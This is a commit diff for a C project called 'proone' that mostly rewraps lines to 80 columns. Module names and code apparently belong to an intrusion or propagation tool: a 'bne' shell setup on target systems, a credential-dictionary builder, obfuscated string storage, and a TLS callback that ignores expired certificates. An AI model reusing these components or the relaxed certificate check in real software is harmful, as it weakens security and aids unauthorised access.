aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-28 17:46:33 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-28 17:46:33 +0930
commit5dbfcb1f66b681fbb6cdec8836efe2c2d84f957e (patch)
treeea0412b8e33ee991f83b3832f93852d7d4c5484e /src
parent909e45f775fb5908ab7a4d68eabf9beb91e36ef2 (diff)
The 80 column rule ...
* Remove prne_rnd_anum_str()
Diffstat (limited to 'src')
-rw-r--r--src/bne.c3
-rw-r--r--src/config.h10
-rw-r--r--src/dvault.c45
-rw-r--r--src/dvault.h19
-rw-r--r--src/imap.c77
-rw-r--r--src/imap.h9
-rw-r--r--src/iset.c53
-rw-r--r--src/llist.c20
-rw-r--r--src/llist.h13
-rw-r--r--src/mbedtls.c54
-rw-r--r--src/mbedtls.h6
-rw-r--r--src/proone-htbthost.c12
-rw-r--r--src/proone-ipaddr-arr.c21
-rw-r--r--src/proone-mkcdict.c2
-rw-r--r--src/proone-pack.c3
-rw-r--r--src/proone-resolv.c109
-rw-r--r--src/proone-stress.c23
-rw-r--r--src/proone-test_proto.c354
-rw-r--r--src/proone-test_util.c41
-rw-r--r--src/protocol.c194
-rw-r--r--src/protocol.h189
-rw-r--r--src/resolv.c195
-rw-r--r--src/resolv.h137
-rw-r--r--src/util_ct.h6
-rw-r--r--src/util_rt.c60
-rw-r--r--src/util_rt.h23
26 files changed, 1314 insertions, 364 deletions
diff --git a/src/bne.c b/src/bne.c
index 605297d..a483903 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -1096,7 +1096,8 @@ static bool bne_sh_setup (
{
if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
prne_dbgpf(
- "bne sh@%"PRIxPTR"\t: echo and cat unavailable on this system\n",
+ "bne sh@%"PRIxPTR"\t: "
+ "echo and cat unavailable on this system\n",
(uintptr_t)ctx);
}
ctx->result.err = ENOSYS;
diff --git a/src/config.h b/src/config.h
index 4c1c445..bae7410 100644
--- a/src/config.h
+++ b/src/config.h
@@ -16,8 +16,14 @@
#error "FIXME!"
#endif
-#define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }
-#define PRNE_SHG_SALT { 0x31, 0xe4, 0xf1, 0x7c, 0xdb, 0x76, 0x43, 0x32, 0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f }
+#define PRNE_PROG_VER {\
+ 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c,\
+ 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f\
+}
+#define PRNE_SHG_SALT {\
+ 0x31, 0xe4, 0xf1, 0x7c, 0xdb, 0x76, 0x43, 0x32,\
+ 0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f\
+}
#define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION
diff --git a/src/dvault.c b/src/dvault.c
index 6a879e5..602ec70 100644
--- a/src/dvault.c
+++ b/src/dvault.c
@@ -13,8 +13,12 @@ static uint8_t *m_unmasked;
static size_t m_unmasked_size;
static uint8_t m_salt;
-
-static void invert_entry (const prne_data_key_t key, prne_data_type_t *type, const uint8_t **data_start, size_t *len) {
+static void invert_entry (
+ const prne_data_key_t key,
+ prne_data_type_t *type,
+ const uint8_t **data_start,
+ size_t *len)
+{
size_t entry_len;
m_salt = m_data[m_offsets[key]];
@@ -53,7 +57,13 @@ prne_data_type_t prne_data_type_fstr (const char *str) {
return PRNE_DATA_TYPE_NONE;
}
-void prne_dvault_invert_mem (const size_t size, void *m, const uint8_t salt, const size_t salt_ofs, const uint8_t *mask) {
+void prne_dvault_invert_mem (
+ const size_t size,
+ void *m,
+ const uint8_t salt,
+ const size_t salt_ofs,
+ const uint8_t *mask)
+{
size_t i;
for (i = 0; i < size; i += 1) {
@@ -74,7 +84,13 @@ void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) {
r->result = PRNE_DVAULT_MASK_OK;
}
-prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const uint8_t *mask, const size_t data_size, const uint8_t *data) {
+prne_dvault_mask_result_t prne_dvault_mask (
+ const prne_data_type_t type,
+ const uint8_t salt,
+ const uint8_t *mask,
+ const size_t data_size,
+ const uint8_t *data)
+{
prne_dvault_mask_result_t ret;
prne_init_dvault_mask_result(&ret);
@@ -103,7 +119,9 @@ prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const u
return ret;
}
-const char *prne_dvault_mask_result_tostr (const prne_dvault_mask_result_code_t code) {
+const char *prne_dvault_mask_result_tostr (
+ const prne_dvault_mask_result_code_t code)
+{
switch (code) {
case PRNE_DVAULT_MASK_OK: return "ok";
case PRNE_DVAULT_MASK_MEM_ERR: return "memory error";
@@ -114,7 +132,11 @@ const char *prne_dvault_mask_result_tostr (const prne_dvault_mask_result_code_t
}
void prne_init_dvault (const void *m) {
- prne_dbgast(m_mask == NULL && m_offsets == NULL && m_data == NULL && m_unmasked == NULL);
+ prne_dbgast(
+ m_mask == NULL &&
+ m_offsets == NULL &&
+ m_data == NULL &&
+ m_unmasked == NULL);
m_data = (uint8_t*)m;
m_mask = (uint8_t*)m + 0;
@@ -141,7 +163,11 @@ void prne_deinit_dvault (void) {
m_data = NULL;
}
-static const uint8_t *dvault_get_bin (const prne_data_key_t key, const prne_data_type_t desired, size_t *len) {
+static const uint8_t *dvault_get_bin (
+ const prne_data_key_t key,
+ const prne_data_type_t desired,
+ size_t *len)
+{
const uint8_t *data_start;
prne_data_type_t type;
@@ -153,7 +179,10 @@ static const uint8_t *dvault_get_bin (const prne_data_key_t key, const prne_data
}
const char *prne_dvault_get_cstr (const prne_data_key_t key, size_t *len) {
- const char *ret = (const char*)dvault_get_bin(key, PRNE_DATA_TYPE_CSTR, len);
+ const char *ret = (const char*)dvault_get_bin(
+ key,
+ PRNE_DATA_TYPE_CSTR,
+ len);
if (len != NULL) {
*len -= 1;
diff --git a/src/dvault.h b/src/dvault.h
index 6c69f98..80cf620 100644
--- a/src/dvault.h
+++ b/src/dvault.h
@@ -15,7 +15,7 @@ typedef enum {
PRNE_DATA_TYPE_CSTR,
PRNE_DATA_TYPE_BIN,
-
+
NB_PRNE_DATA_TYPE
} prne_data_type_t;
PRNE_LIMIT_ENUM(prne_data_type_t, NB_PRNE_DATA_TYPE, 0xFF);
@@ -36,12 +36,23 @@ struct prne_dvault_mask_result {
const char *prne_data_type_tostr (const prne_data_type_t t);
prne_data_type_t prne_data_type_fstr (const char *str);
-void prne_dvault_invert_mem (const size_t size, void *m, const uint8_t salt, const size_t salt_ofs, const uint8_t *mask);
+void prne_dvault_invert_mem (
+ const size_t size,
+ void *m,
+ const uint8_t salt,
+ const size_t salt_ofs,
+ const uint8_t *mask);
void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r);
void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r);
-prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const uint8_t *mask, const size_t data_size, const uint8_t *data);
-const char *prne_dvault_mask_result_tostr (const prne_dvault_mask_result_code_t code);
+prne_dvault_mask_result_t prne_dvault_mask (
+ const prne_data_type_t type,
+ const uint8_t salt,
+ const uint8_t *mask,
+ const size_t data_size,
+ const uint8_t *data);
+const char *prne_dvault_mask_result_tostr (
+ const prne_dvault_mask_result_code_t code);
/* prne_init_dvault(const void *m)
*
diff --git a/src/imap.c b/src/imap.c
index b6d2110..d1ed619 100644
--- a/src/imap.c
+++ b/src/imap.c
@@ -5,14 +5,16 @@
#include <string.h>
-static int imap_cmp_func (const void *a, const void *b) {
+static int imap_cmp_func (const void *in_a, const void *in_b) {
+ const prne_imap_tuple_t *a = (const prne_imap_tuple_t*)in_a;
+ const prne_imap_tuple_t *b = (const prne_imap_tuple_t*)in_b;
+
return
- ((const prne_imap_tuple_t*)a)->key < ((const prne_imap_tuple_t*)b)->key ? -1 :
- ((const prne_imap_tuple_t*)a)->key > ((const prne_imap_tuple_t*)b)->key ? 1 :
+ a->key < b->key ? -1 :
+ a->key > b->key ? 1 :
0;
}
-
void prne_init_imap (prne_imap_t *im) {
im->tbl = NULL;
im->size = 0;
@@ -30,14 +32,23 @@ void prne_imap_clear (prne_imap_t *im) {
im->size = 0;
}
-const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, const prne_imap_val_type_t val) {
+const prne_imap_tuple_t *prne_imap_insert (
+ prne_imap_t *im,
+ const prne_imap_key_type_t key,
+ const prne_imap_val_type_t val)
+{
prne_imap_tuple_t *ret;
prne_imap_tuple_t t;
t.key = key;
t.val = val;
- ret = (prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+ ret = (prne_imap_tuple_t*)bsearch(
+ &t,
+ im->tbl,
+ im->size,
+ sizeof(prne_imap_tuple_t),
+ imap_cmp_func);
if (ret == NULL) {
void *ny_mem;
@@ -66,31 +77,49 @@ void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key) {
t.key = key;
t.val = 0;
- ext = bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
- if (ext != NULL) {
- if (im->size - 1 == 0) {
- prne_free(im->tbl);
- im->tbl = NULL;
- im->size = 0;
- }
- else {
- void *ny_mem;
-
- memmove(ext, ext + 1, sizeof(prne_imap_tuple_t) * (im->size - 1 - (ext - im->tbl)));
- im->size -= 1;
- ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size);
- if (ny_mem != NULL) {
- im->tbl = (prne_imap_tuple_t*)ny_mem;
- }
+ ext = bsearch(
+ &t,
+ im->tbl,
+ im->size,
+ sizeof(prne_imap_tuple_t),
+ imap_cmp_func);
+ if (ext == NULL) {
+ return;
+ }
+
+ if (im->size - 1 == 0) {
+ prne_free(im->tbl);
+ im->tbl = NULL;
+ im->size = 0;
+ }
+ else {
+ void *ny_mem;
+
+ memmove(
+ ext,
+ ext + 1,
+ sizeof(prne_imap_tuple_t) * (im->size - 1 - (ext - im->tbl)));
+ im->size -= 1;
+ ny_mem = prne_realloc(im->tbl, sizeof(prne_imap_tuple_t), im->size);
+ if (ny_mem != NULL) {
+ im->tbl = (prne_imap_tuple_t*)ny_mem;
}
}
}
-const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key) {
+const prne_imap_tuple_t *prne_imap_lookup (
+ prne_imap_t *im,
+ const prne_imap_key_type_t key)
+{
prne_imap_tuple_t t;
t.key = key;
t.val = 0;
- return (const prne_imap_tuple_t*)bsearch(&t, im->tbl, im->size, sizeof(prne_imap_tuple_t), imap_cmp_func);
+ return (const prne_imap_tuple_t*)bsearch(
+ &t,
+ im->tbl,
+ im->size,
+ sizeof(prne_imap_tuple_t),
+ imap_cmp_func);
}
diff --git a/src/imap.h b/src/imap.h
index 53f5b95..0ef1665 100644
--- a/src/imap.h
+++ b/src/imap.h
@@ -26,6 +26,11 @@ void prne_init_imap (prne_imap_t *im);
void prne_free_imap (prne_imap_t *im);
void prne_imap_clear (prne_imap_t *im);
-const prne_imap_tuple_t *prne_imap_insert (prne_imap_t *im, const prne_imap_key_type_t key, const prne_imap_val_type_t val);
+const prne_imap_tuple_t *prne_imap_insert (
+ prne_imap_t *im,
+ const prne_imap_key_type_t key,
+ const prne_imap_val_type_t val);
void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key);
-const prne_imap_tuple_t *prne_imap_lookup (prne_imap_t *im, const prne_imap_key_type_t key);
+const prne_imap_tuple_t *prne_imap_lookup (
+ prne_imap_t *im,
+ const prne_imap_key_type_t key);
diff --git a/src/iset.c b/src/iset.c
index b0dcb12..0a8087b 100644
--- a/src/iset.c
+++ b/src/iset.c
@@ -36,7 +36,7 @@ bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v) {
if (prne_iset_lookup(s, v)) {
return true;
}
-
+
ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size + 1);
if (ny_mem == NULL) {
return false;
@@ -52,27 +52,42 @@ bool prne_iset_insert (prne_iset_t *s, const prne_iset_val_t v) {
void prne_iset_erase (prne_iset_t *s, const prne_iset_val_t v) {
prne_iset_val_t *p;
- p = (prne_iset_val_t*)bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func);
- if (p != NULL) {
- if (s->size == 1) {
- prne_free(s->arr);
- s->arr = NULL;
- s->size = 0;
- }
- else {
- void *ny_mem;
-
- memmove(p, p + 1, sizeof(prne_iset_val_t) * (s->size - 1 - (p - s->arr)));
-
- s->size -= 1;
- ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size);
- if (ny_mem != NULL) {
- s->arr = (prne_iset_val_t*)ny_mem;
- }
+ p = (prne_iset_val_t*)bsearch(
+ &v,
+ s->arr,
+ s->size,
+ sizeof(prne_iset_val_t),
+ iset_comp_func);
+ if (p == NULL) {
+ return;
+ }
+
+ if (s->size == 1) {
+ prne_free(s->arr);
+ s->arr = NULL;
+ s->size = 0;
+ }
+ else {
+ void *ny_mem;
+
+ memmove(
+ p,
+ p + 1,
+ sizeof(prne_iset_val_t) * (s->size - 1 - (p - s->arr)));
+
+ s->size -= 1;
+ ny_mem = prne_realloc(s->arr, sizeof(prne_iset_val_t), s->size);
+ if (ny_mem != NULL) {
+ s->arr = (prne_iset_val_t*)ny_mem;
}
}
}
bool prne_iset_lookup (prne_iset_t *s, const prne_iset_val_t v) {
- return bsearch(&v, s->arr, s->size, sizeof(prne_iset_val_t), iset_comp_func) != NULL;
+ return bsearch(
+ &v,
+ s->arr,
+ s->size,
+ sizeof(prne_iset_val_t),
+ iset_comp_func) != NULL;
}
diff --git a/src/llist.c b/src/llist.c
index bd82906..f28aaae 100644
--- a/src/llist.c
+++ b/src/llist.c
@@ -25,7 +25,11 @@ void prne_llist_clear (prne_llist_t *llist) {
llist->size = 0;
}
-prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, const prne_llist_element_t element) {
+prne_llist_entry_t *prne_llist_insert (
+ prne_llist_t *llist,
+ prne_llist_entry_t *entry,
+ const prne_llist_element_t element)
+{
prne_llist_entry_t *ny;
if (entry == NULL) {
@@ -51,8 +55,13 @@ prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *
return ny;
}
-prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, const prne_llist_element_t element) {
- prne_llist_entry_t *ny = (prne_llist_entry_t*)prne_malloc(sizeof(prne_llist_entry_t), 1);
+prne_llist_entry_t *prne_llist_append (
+ prne_llist_t *llist,
+ const prne_llist_element_t element)
+{
+ prne_llist_entry_t *ny = (prne_llist_entry_t*)prne_malloc(
+ sizeof(prne_llist_entry_t),
+ 1);
if (ny == NULL) {
return NULL;
@@ -74,7 +83,10 @@ prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, const prne_llist_ele
return ny;
}
-prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry) {
+prne_llist_entry_t *prne_llist_erase (
+ prne_llist_t *llist,
+ prne_llist_entry_t *entry)
+{
prne_llist_entry_t *ret;
if (entry == NULL) {
diff --git a/src/llist.h b/src/llist.h
index 37e289f..e5dd697 100644
--- a/src/llist.h
+++ b/src/llist.h
@@ -24,6 +24,13 @@ void prne_init_llist (prne_llist_t *llist);
void prne_free_llist (prne_llist_t *llist);
void prne_llist_clear (prne_llist_t *llist);
-prne_llist_entry_t *prne_llist_insert (prne_llist_t *llist, prne_llist_entry_t *entry, const prne_llist_element_t element);
-prne_llist_entry_t *prne_llist_append (prne_llist_t *llist, const prne_llist_element_t element);
-prne_llist_entry_t *prne_llist_erase (prne_llist_t *llist, prne_llist_entry_t *entry);
+prne_llist_entry_t *prne_llist_insert (
+ prne_llist_t *llist,
+ prne_llist_entry_t *entry,
+ const prne_llist_element_t element);
+prne_llist_entry_t *prne_llist_append (
+ prne_llist_t *llist,
+ const prne_llist_element_t element);
+prne_llist_entry_t *prne_llist_erase (
+ prne_llist_t *llist,
+ prne_llist_entry_t *entry);
diff --git a/src/mbedtls.c b/src/mbedtls.c
index 3b1919a..7af5e80 100644
--- a/src/mbedtls.c
+++ b/src/mbedtls.c
@@ -13,12 +13,21 @@
#include <mbedtls/entropy_poll.h>
-int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags) {
+int prne_mbedtls_x509_crt_verify_cb (
+ void *param,
+ mbedtls_x509_crt *crt,
+ int crt_depth,
+ uint32_t *flags)
+{
*flags &= ~(uint32_t)MBEDTLS_X509_BADCERT_EXPIRED;
return 0;
}
-int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) {
+int prne_mbedtls_ssl_send_cb (
+ void *ctx,
+ const unsigned char *buf,
+ size_t len)
+{
const int fd = *(int*)ctx;
ssize_t ret;
@@ -58,7 +67,12 @@ int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len) {
return ret;
}
-static int prne_mbedtls_entropy_urand_src_f (void *data, unsigned char *output, size_t len, size_t *olen) {
+static int prne_mbedtls_entropy_urand_src_f (
+ void *data,
+ unsigned char *output,
+ size_t len,
+ size_t *olen)
+{
const int fd = open("/dev/urandom", O_RDONLY);
int func_ret = 0;
@@ -82,7 +96,12 @@ typedef struct {
struct timespec datetime;
} ent_buf_t;
-static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) {
+static int prne_mbedtls_entropy_proc_src_f (
+ void *data,
+ unsigned char *output,
+ size_t len,
+ size_t *olen)
+{
ent_buf_t buf;
prne_memzero(&buf, sizeof(buf));
@@ -101,14 +120,31 @@ static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, s
void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx) {
mbedtls_entropy_init(ctx);
- // Remove platform source, which could call getrandom()
+ /*
+ * Remove platform source, which could call getrandom().
+ * Add our own implementation as the one just got removed could be the only
+ * source.
+ */
for (int i = 0; i < ctx->source_count; i += 1) {
if (ctx->source[i].f_source == mbedtls_platform_entropy_poll) {
- memmove(ctx->source + i, ctx->source + i + 1, sizeof(mbedtls_entropy_source_state) * (ctx->source_count - i - 1));
+ memmove(
+ ctx->source + i,
+ ctx->source + i + 1,
+ sizeof(mbedtls_entropy_source_state) *
+ (ctx->source_count - i - 1));
ctx->source_count -= 1;
- // Add our own implementation as the one just got removed could be the only source.
- mbedtls_entropy_add_source(ctx, prne_mbedtls_entropy_urand_src_f, NULL, MBEDTLS_ENTROPY_MIN_PLATFORM, MBEDTLS_ENTROPY_SOURCE_STRONG);
- mbedtls_entropy_add_source(ctx, prne_mbedtls_entropy_proc_src_f, NULL, sizeof(ent_buf_t), MBEDTLS_ENTROPY_SOURCE_STRONG);
+ mbedtls_entropy_add_source(
+ ctx,
+ prne_mbedtls_entropy_urand_src_f,
+ NULL,
+ MBEDTLS_ENTROPY_MIN_PLATFORM,
+ MBEDTLS_ENTROPY_SOURCE_STRONG);
+ mbedtls_entropy_add_source(
+ ctx,
+ prne_mbedtls_entropy_proc_src_f,
+ NULL,
+ sizeof(ent_buf_t),
+ MBEDTLS_ENTROPY_SOURCE_STRONG);
break;
}
}
diff --git a/src/mbedtls.h b/src/mbedtls.h
index 00386ee..0811aa3 100644
--- a/src/mbedtls.h
+++ b/src/mbedtls.h
@@ -13,7 +13,11 @@
// Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED`
-int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags);
+int prne_mbedtls_x509_crt_verify_cb (
+ void *param,
+ mbedtls_x509_crt *crt,
+ int crt_depth,
+ uint32_t *flags);
int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len);
int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len);
/*
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 978efab..b1ac6fa 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -95,7 +95,9 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
close(fd);
}
- prne_static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME");
+ prne_static_assert(
+ sizeof(instance_id) == sizeof(out->instance_id),
+ "FIXME");
memcpy(out->instance_id, instance_id, sizeof(instance_id));
if (prne_htbt_alloc_host_info(out, hostcred_len)) {
@@ -196,7 +198,13 @@ static void load_ssl_conf (
}
}
-static void mbedtls_dbg_f(void *ctx, int level, const char *filename, int line, const char *msg) {
+static void mbedtls_dbg_f(
+ void *ctx,
+ int level,
+ const char *filename,
+ int line,
+ const char *msg)
+{
prne_dbgpf("<MBEDTLS> %s", msg);
}
diff --git a/src/proone-ipaddr-arr.c b/src/proone-ipaddr-arr.c
index ae8e7bd..2a6aed8 100644
--- a/src/proone-ipaddr-arr.c
+++ b/src/proone-ipaddr-arr.c
@@ -29,8 +29,25 @@ int main (const int argc, const char **args) {
memset(addr, 0, sizeof(addr));
if (inet_pton(AF[i], buf + rm[1].rm_so, addr) != 0) {
- printf("{ 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x }",
- addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]);
+ printf(
+ "{ 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, "
+ "0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x }",
+ addr[0],
+ addr[1],
+ addr[2],
+ addr[3],
+ addr[4],
+ addr[5],
+ addr[6],
+ addr[7],
+ addr[8],
+ addr[9],
+ addr[10],
+ addr[11],
+ addr[12],
+ addr[13],
+ addr[14],
+ addr[15]);
break;
}
}
diff --git a/src/proone-mkcdict.c b/src/proone-mkcdict.c
index fd9abd0..af1a250 100644
--- a/src/proone-mkcdict.c
+++ b/src/proone-mkcdict.c
@@ -23,7 +23,7 @@ static void print_help (FILE *o, const char *prog) {
"Cred File Format: <WEIGHT> <ID> [PW]\n"
"\t<WEIGHT>: uint8_t weight value\n"
"\t<ID>: c_str username\n"
- "\t[PW]: c_Str password (optional)\n"
+ "\t[PW]: c_str password (optional)\n"
"\tNote:\n"
"\t\t- <ID> and <PW> are case-sensitive\n"
"\t\t- Lines start with \"#\" are ignored\n"
diff --git a/src/proone-pack.c b/src/proone-pack.c
index 8971411..0f6afd7 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -311,7 +311,8 @@ int main (const int argc, const char **args) {
if (argc < 3) {
fprintf(
stderr,
- "Usage: %s <outfile prefix> <path to dvault> [path to binary 1 [path to binary ...]]\n",
+ "Usage: %s <outfile prefix> <path to dvault> "
+ "[path to binary 1 [path to binary ...]]\n",
args[0]);
ret = 2;
goto END;
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 0ccec44..0d02b22 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -60,7 +60,9 @@ static void proc_prompt_line (char *line, const size_t line_len) {
static regmatch_t rm[3];
if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) {
- prne_resolv_prm_t *prm = (prne_resolv_prm_t*)prne_malloc(sizeof(prne_resolv_prm_t), 1);
+ prne_resolv_prm_t *prm = (prne_resolv_prm_t*)prne_malloc(
+ sizeof(prne_resolv_prm_t),
+ 1);
char *verb, *obj;
size_t verb_len, obj_len;
bool has_prm = false;
@@ -76,13 +78,27 @@ static void proc_prompt_line (char *line, const size_t line_len) {
obj[obj_len] = 0;
if (strncmp(verb, "A", verb_len) == 0) {
- has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &prm_cv, prm);
+ has_prm = prne_resolv_prm_gethostbyname(
+ resolv,
+ obj,
+ PRNE_IPV_4,
+ &prm_cv,
+ prm);
}
else if (strncmp(verb, "AAAA", verb_len) == 0) {
- has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &prm_cv, prm);
+ has_prm = prne_resolv_prm_gethostbyname(
+ resolv,
+ obj,
+ PRNE_IPV_6,
+ &prm_cv,
+ prm);
}
else if (strncmp(verb, "TXT", verb_len) == 0) {
- has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &prm_cv, prm);
+ has_prm = prne_resolv_prm_gettxtrec(
+ resolv,
+ obj,
+ &prm_cv,
+ prm);
}
else {
abort();
@@ -99,7 +115,9 @@ static void proc_prompt_line (char *line, const size_t line_len) {
prne_free(prm);
}
}
- else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) {
+ else if (line_len > 0 &&
+ regexec(&empty_line_regex, line, 0, NULL, 0) != 0)
+ {
fprintf(stderr, "* Line not recognised.\n");
}
}
@@ -111,7 +129,10 @@ static void *stdin_wkr_entry (void *ctx) {
static bool missed_line = false;
int read_len;
- read_len = pth_read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt);
+ read_len = pth_read(
+ STDIN_FILENO,
+ line_buf + line_buf_cnt,
+ sizeof(line_buf) - line_buf_cnt);
if (read_len > 0) {
char *line_buf_end, *line, *line_end;
size_t line_len, consumed = 0;
@@ -187,7 +208,9 @@ static void *stdout_wkr_entry (void *ctx) {
qr_str = prne_resolv_qr_tostr(prm->fut->qr);
prne_assert(qr_str != NULL);
status_str = NULL;
- if (prm->fut->qr == PRNE_RESOLV_QR_OK || prm->fut->qr == PRNE_RESOLV_QR_STATUS) {
+ if (prm->fut->qr == PRNE_RESOLV_QR_OK ||
+ prm->fut->qr == PRNE_RESOLV_QR_STATUS)
+ {
status_str = prne_resolv_rcode_tostr(prm->fut->status);
}
if (status_str == NULL) {
@@ -204,14 +227,41 @@ static void *stdout_wkr_entry (void *ctx) {
type_str = "";
}
- printf(";\ttype: (%2u)%5s, ttl: %10u, len: %5u, name: %s\n",
- rr->rr_type, type_str, rr->rr_ttl, rr->rd_len, rr->name);
+ printf(
+ ";\ttype: (%2u)%5s, ttl: %10u, len: %5u, name: %s\n",
+ rr->rr_type,
+ type_str,
+ rr->rr_ttl,
+ rr->rd_len,
+ rr->name);
switch (rr->rr_type) {
- case PRNE_RESOLV_RTYPE_A: printf(";\t\t%s\n", inet_ntop(AF_INET, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break;
- case PRNE_RESOLV_RTYPE_AAAA: printf(";\t\t%s\n", inet_ntop(AF_INET6, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break;
+ case PRNE_RESOLV_RTYPE_A:
+ printf(
+ ";\t\t%s\n",
+ inet_ntop(
+ AF_INET,
+ rr->rd_data,
+ ntop_buf,
+ INET6_ADDRSTRLEN));
+ break;
+ case PRNE_RESOLV_RTYPE_AAAA:
+ printf(
+ ";\t\t%s\n",
+ inet_ntop(
+ AF_INET6,
+ rr->rd_data,
+ ntop_buf,
+ INET6_ADDRSTRLEN));
+ break;
case PRNE_RESOLV_RTYPE_TXT:
- if (isatty(STDOUT_FILENO) && !printable_str((const char *)rr->rd_data + 1, rr->rd_data[0])) {
- printf(";\t\t* (binary data - unable to print on terminal)\n");
+ if (isatty(STDOUT_FILENO) &&
+ !printable_str(
+ (const char *)rr->rd_data + 1,
+ rr->rd_data[0]))
+ {
+ printf(
+ ";\t\t* (binary data - "
+ "unable to print on terminal)\n");
}
else {
uint8_t tmp = rr->rd_data[0];
@@ -261,15 +311,30 @@ int main (void) {
pth_main = pth_self();
// org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+)
- prne_assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0);
+ prne_assert(regcomp(
+ &prmpt_regex,
+ "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)",
+ REG_ICASE | REG_EXTENDED) == 0);
// org regex: ^\s+$
- prne_assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0);
+ prne_assert(regcomp(
+ &empty_line_regex,
+ "^\\s+$",
+ REG_NOSUB | REG_EXTENDED) == 0);
prne_mbedtls_entropy_init(&entropy);
mbedtls_ctr_drbg_init(&rnd);
- prne_assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, NULL, 0) == 0);
+ prne_assert(mbedtls_ctr_drbg_seed(
+ &rnd,
+ mbedtls_entropy_func,
+ &entropy,
+ NULL,
+ 0) == 0);
prne_init_llist(&prm_list);
- resolv = prne_alloc_resolv(&wkr_arr[0], &rnd, PRNE_RESOLV_DEF_IPV4_POOL, PRNE_RESOLV_DEF_IPV6_POOL);
+ resolv = prne_alloc_resolv(
+ &wkr_arr[0],
+ &rnd,
+ PRNE_RESOLV_DEF_IPV4_POOL,
+ PRNE_RESOLV_DEF_IPV6_POOL);
prne_assert(resolv != NULL);
wkr_arr[1].entry = stdin_wkr_entry;
@@ -277,7 +342,10 @@ int main (void) {
main_flag = true;
for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
